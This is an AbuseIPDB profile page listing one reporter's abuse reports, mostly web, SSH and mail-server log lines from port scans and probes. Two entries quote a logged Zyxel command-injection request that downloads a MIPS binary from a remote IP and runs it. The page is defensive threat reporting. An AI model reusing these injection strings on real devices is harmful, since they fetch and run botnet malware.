AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Yer Momma joined AbuseIPDB in July 2023 and has reported 6,769 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇺🇸 107.170.240.23	08 Apr 2024	2024-04-09T00:33:24.056544+02:00 mx postfix/smtpd[66621]: improper command pipelining after CONNECT ... show more 2024-04-09T00:33:24.056544+02:00 mx postfix/smtpd[66621]: improper command pipelining after CONNECT from unknown[107.170.240.23]: MGLNDD_83.229.86.116_25\n ... show less	Port Scan Hacking
🇳🇱 45.95.147.171	08 Apr 2024	45.95.147.171 - - [09/Apr/2024:00:25:12 +0200] "" 400 0 "-" "-" ...	Port Scan Hacking
🇩🇪 172.105.246.139	08 Apr 2024	2024-04-09T00:22:18.748136+02:00 mx sshd[66579]: Invalid user gmsao from 172.105.246.139 port 50868 ... show more 2024-04-09T00:22:18.748136+02:00 mx sshd[66579]: Invalid user gmsao from 172.105.246.139 port 50868 ... show less	Port Scan Hacking
🇺🇸 172.104.11.34	08 Apr 2024	172.104.11.34 - - [08/Apr/2024:23:45:52 +0200] "\x16\x03\x01\x00\x85\x01\x00\x00\x81\x03\x03\x9B\xC4 ... show more 172.104.11.34 - - [08/Apr/2024:23:45:52 +0200] "\x16\x03\x01\x00\x85\x01\x00\x00\x81\x03\x03\x9B\xC4\x08\x0C8\xC1\xD2\xD5\x16\xCD-\x14\xE8\xAFL_v\xCF\|\xA0\xCA\x909\x8C\xDEA\xF6\x10v\xBC\x90\x96\x00\x00 \xC0/\xC00\xC0+\xC0,\xCC\xA8\xCC\xA9\xC0\x13\xC0\x09\xC0\x14\xC0" 400 157 "-" "-" ... show less	Port Scan Hacking
🇺🇸 198.74.56.46	08 Apr 2024	198.74.56.46 - - [08/Apr/2024:22:33:19 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 zgrab/0.x" . ... show more 198.74.56.46 - - [08/Apr/2024:22:33:19 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Port Scan Hacking
🇺🇸 161.35.236.158	08 Apr 2024	161.35.236.158 - - [08/Apr/2024:21:13:45 +0200] "\x00\x0E85\xBF\xCF \xBA\xEF\xB9\xAE\x00\x00\x00\x00 ... show more 161.35.236.158 - - [08/Apr/2024:21:13:45 +0200] "\x00\x0E85\xBF\xCF \xBA\xEF\xB9\xAE\x00\x00\x00\x00\x00" 400 157 "-" "-" ... show less	Port Scan Hacking
🇨🇳 1.15.172.243	08 Apr 2024	1.15.172.243 - - [08/Apr/2024:21:04:47 +0200] "CONNECT 192.248.182.42:443 HTTP/1.1" 400 150 "-" "-" ... show more 1.15.172.243 - - [08/Apr/2024:21:04:47 +0200] "CONNECT 192.248.182.42:443 HTTP/1.1" 400 150 "-" "-" ... show less	Port Scan Hacking
🇳🇱 109.206.237.55	08 Apr 2024	2024-04-08T19:07:35.355939+02:00 mx postfix/smtpd[66202]: NOQUEUE: reject: RCPT from unknown[109.206 ... show more 2024-04-08T19:07:35.355939+02:00 mx postfix/smtpd[66202]: NOQUEUE: reject: RCPT from unknown[109.206.237.55]: 554 5.7.1 <[email protected]>: Relay access denied; from=<[email protected]> to=<[email protected]> proto=SMTP helo=<win-clj1b0gq6jp.domain> ... show less	Port Scan Hacking
🇺🇸 161.35.238.241	08 Apr 2024	161.35.238.241 - - [08/Apr/2024:18:58:27 +0200] "\x00\x0E8\xF7\x0F\x10\x0C\xAD:\xCE\xC9\x00\x00\x00\ ... show more 161.35.238.241 - - [08/Apr/2024:18:58:27 +0200] "\x00\x0E8\xF7\x0F\x10\x0C\xAD:\xCE\xC9\x00\x00\x00\x00\x00" 400 150 "-" "-" ... show less	Port Scan Hacking
🇰🇷 119.200.13.201	08 Apr 2024	119.200.13.201 - - [08/Apr/2024:18:52:56 +0200] "GET /bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-r ... show more 119.200.13.201 - - [08/Apr/2024:18:52:56 +0200] "GET /bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}mips;${IFS}wget${IFS}http://103.245.236.146/huhu.mips;${IFS}chmod${IFS}777${IFS}huhu.mips;${IFS}./huhu.mips${IFS}zyxel.selfrep;" 400 248 "-" "-" ... show less	Port Scan Hacking
🇺🇸 206.168.34.50	08 Apr 2024	2024-04-08T18:36:36.926327+02:00 mx postfix/smtpd[66153]: improper command pipelining after CONNECT ... show more 2024-04-08T18:36:36.926327+02:00 mx postfix/smtpd[66153]: improper command pipelining after CONNECT from unknown[206.168.34.50]: \026\003\001\000\274\001\000\000\270\003\003\004\204G\350\200\370\220Zy\304\3338K)\242\325\207"\213+]\241\234ZV\236b\035\212\251\236\003 \356\363}\022]\373\317\207#l\002\353\216\004GS\000\205\263(\177[\344\373Q1\261\274\221\247\t\264\000 \314\250\314\251\300/\3000\300+\300,\300\023\300\t\300\024\300\n\000\234 ... show less	Port Scan Hacking
🇺🇸 44.220.188.156	08 Apr 2024	44.220.188.156 - - [08/Apr/2024:18:13:13 +0200] "\x15\x03\x01\x00\x02\x02P" 400 150 "-" "-" ...	Port Scan Hacking
🇷🇺 2.57.149.233	08 Apr 2024	2.57.149.233 - - [08/Apr/2024:18:13:11 +0200] "GET /remote/login?lang=en HTTP/1.1" 400 150 "-" "-" . ... show more 2.57.149.233 - - [08/Apr/2024:18:13:11 +0200] "GET /remote/login?lang=en HTTP/1.1" 400 150 "-" "-" ... show less	Port Scan Hacking
🇺🇸 45.33.80.243	08 Apr 2024	45.33.80.243 - - [08/Apr/2024:17:45:53 +0200] "\x16\x03\x01\x00\x85\x01\x00\x00\x81\x03\x03 \x7F\x15 ... show more 45.33.80.243 - - [08/Apr/2024:17:45:53 +0200] "\x16\x03\x01\x00\x85\x01\x00\x00\x81\x03\x03 \x7F\x15D\xD1\xF1\xF9\xDC\x82gW\x91\x92\x82\xAB\xC2\x81$\xF2p\xFA\xE6C\x94XL2\xE7\x91\xDC\x05\xA1\x00\x00 \xC0/\xC00\xC0+\xC0,\xCC\xA8\xCC\xA9\xC0\x13\xC0\x09\xC0\x14\xC0" 400 157 "-" "-" ... show less	Port Scan Hacking
🇨🇳 120.25.164.205	08 Apr 2024	120.25.164.205 - - [08/Apr/2024:17:39:06 +0200] "CONNECT 192.248.182.42:443 HTTP/1.1" 400 150 "-" "- ... show more 120.25.164.205 - - [08/Apr/2024:17:39:06 +0200] "CONNECT 192.248.182.42:443 HTTP/1.1" 400 150 "-" "-" ... show less	Port Scan Hacking
🇺🇸 45.56.105.229	08 Apr 2024	45.56.105.229 - - [08/Apr/2024:17:23:08 +0200] "\x16\x03\x00\x00i\x01\x00\x00e\x03\x03U\x1C\xA7\xE4r ... show more 45.56.105.229 - - [08/Apr/2024:17:23:08 +0200] "\x16\x03\x00\x00i\x01\x00\x00e\x03\x03U\x1C\xA7\xE4random1random2random3random4\x00\x00\x0C\x00/\x00" 400 157 "-" "-" ... show less	Port Scan Hacking
🇺🇸 192.241.238.38	08 Apr 2024	192.241.238.38 - - [08/Apr/2024:17:07:22 +0200] "MGLNDD_192.248.182.42_80" 400 157 "-" "-" ...	Port Scan Hacking
🇭🇰 152.32.252.233	08 Apr 2024	152.32.252.233 - - [08/Apr/2024:16:35:38 +0200] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03$\xC8\x ... show more 152.32.252.233 - - [08/Apr/2024:16:35:38 +0200] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03$\xC8\x91)\xA2*[:\x9E\xA6H\x12\x93\x01\xA2(\x1E>\xF3\xEF\x17\xDE,\xD5/iU\xB2}\x08\x01n 4\x9F&#\xCC8\xC4nV\xB5\x94\x8E,\x93\x11G\x11\xEE\xA9\xAE\x08\xDD\xAE:T\x097\xA3E\xBFA\xC1\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0" 400 157 "-" "-" ... show less	Port Scan Hacking
🇩🇪 167.94.146.57	08 Apr 2024	167.94.146.57 - - [08/Apr/2024:15:46:21 +0200] "PRI * HTTP/2.0" 400 157 "-" "-" ...	Port Scan Hacking
🇺🇸 172.104.11.51	08 Apr 2024	172.104.11.51 - - [08/Apr/2024:15:46:12 +0200] "\x16\x03\x01\x00\x85\x01\x00\x00\x81\x03\x03\xF3\x88 ... show more 172.104.11.51 - - [08/Apr/2024:15:46:12 +0200] "\x16\x03\x01\x00\x85\x01\x00\x00\x81\x03\x03\xF3\x88\x033\xA2\x84@\xE5\xA8\xA6\xB6JI(\xA1\xBB\x87d\x08 j9}^]2\xCAf-\x0C\xD5\xD6\x00\x00 \xC0/\xC00\xC0+\xC0,\xCC\xA8\xCC\xA9\xC0\x13\xC0\x09\xC0\x14\xC0" 400 157 "-" "-" ... show less	Port Scan Hacking
🇨🇭 35.216.169.98	08 Apr 2024	35.216.169.98 - - [08/Apr/2024:15:11:44 +0200] "GET / HTTP/1.1" 400 150 "-" "-" ...	Port Scan Hacking
🇺🇸 192.241.193.9	08 Apr 2024	192.241.193.9 - - [08/Apr/2024:15:02:27 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 zgrab/0.x" ... show more 192.241.193.9 - - [08/Apr/2024:15:02:27 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Port Scan Hacking
🇺🇸 162.142.125.224	08 Apr 2024	2024-04-08T13:47:05.637313+02:00 mx postfix/smtpd[65870]: improper command pipelining after CONNECT ... show more 2024-04-08T13:47:05.637313+02:00 mx postfix/smtpd[65870]: improper command pipelining after CONNECT from scanner-25.ch1.censys-scanner.com[162.142.125.224]: \026\003\001\000\274\001\000\000\270\003\003\351\036\002\|\3476t\377\272G\000\340\245C3\263\203\243\353\215\344k\267>a\340`\370\254\005=\205 \365\216bi\0066\361\367\306\244;A\025\027[\343\2538^\305\033\253D8&:]\213\3159%\260\000 \314\250\314\251\300/\3000\300+\300,\300\023\300\t\300\024\300\n\000\234 ... show less	Port Scan Hacking
🇯🇵 180.59.232.117	08 Apr 2024	180.59.232.117 - - [08/Apr/2024:12:34:56 +0200] "GET /bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-r ... show more 180.59.232.117 - - [08/Apr/2024:12:34:56 +0200] "GET /bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}mips;${IFS}wget${IFS}http://103.245.236.188/skyljne.mips;${IFS}chmod${IFS}777${IFS}skyljne.mips;${IFS}./skyljne.mips${IFS}zyxel.selfrep;" 400 248 "-" "-" ... show less	Port Scan Hacking
🇺🇸 157.245.176.143	08 Apr 2024	157.245.176.143 - - [08/Apr/2024:12:32:29 +0200] "SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84 ... show more 157.245.176.143 - - [08/Apr/2024:12:32:29 +0200] "SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ HTTP/1.1" 400 150 "-" "-" ... show less	Port Scan Hacking